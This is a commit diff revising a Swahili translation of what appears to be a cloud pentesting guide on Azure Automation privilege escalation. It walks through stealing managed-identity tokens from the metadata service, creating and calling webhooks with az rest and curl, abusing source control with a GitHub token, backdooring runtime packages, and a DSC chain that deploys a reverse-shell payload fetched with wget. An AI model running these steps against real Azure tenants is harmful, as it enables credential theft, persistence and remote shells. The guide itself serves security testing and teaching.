Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:42 +00:00
parent a021d3ecfb
commit 28516c8407
@@ -14,16 +14,16 @@ Kwa maelezo zaidi angalia:
- **Kutoka kwa Akaunti ya Automation hadi VM**
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata Azure VM.
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure.
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho mwingine wa Usimamizi umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**.
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho wa Usimamizi mwingine umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**.
> [!TIP]
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za utambulisho wa usimamizi wa akaunti ya automation (**`IDENTITY_ENDPOINT`**).
- **Kutoka kwa VM hadi Akaunti ya Automation**
Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kutafuta metadata ya **Akaunti ya Automation** na kuipata kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation.
Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kupata metadata ya **Akaunti ya Automation** na kuifikia kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation.
Kama inavyoonekana katika picha ifuatayo, kuwa na ufikiaji wa Msimamizi juu ya VM inawezekana kupata katika **mabadiliko ya mazingira ya mchakato** URL na siri za kufikia huduma ya metadata ya akaunti ya automation:
@@ -139,26 +139,11 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Akaunti ya Automation kwa kutumia amri ifuatayo.
Kumbuka kwamba utahitaji **kuashiria URI ya webhook** pamoja na tokeni ya kutumia.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa uumbaji. Kisha, ili kuita runbook kwa kutumia URI ya webhook
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
@@ -205,12 +190,12 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzifanya itakuwa **na uwezo wa kupandisha mamlaka**.
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **na uwezo wa kupandisha mamlaka**.
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na kitambulisho kinachosimamiwa chenye jukumu la **`Contributor`** na ikiwa ni kitambulisho kinachosimamiwa na mtumiaji, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa.
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapotengenezwa.
### `Microsoft.Automation/automationAccounts/variables/write`
@@ -230,7 +215,7 @@ az rest --method PUT \
```
### Mazingira ya Kazi ya Kijadi
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha mazingira hayo kwa msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa.
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha mazingira na msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa.
### Kuathiri Usanidi wa Jimbo
@@ -239,7 +224,7 @@ Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza ku
- Hatua ya 1 — Unda Faili
**Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika:
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo la Taka (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwa VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Ubadilishaji:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
@@ -252,13 +237,13 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
```
- Hatua ya 3 — Weka Muktadha wa Hifadhi & Pakia
Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililotengwa, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Hatua ya 4 — Andaa Sanduku la Kali
- Step 4 — Prep Kali Box
Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```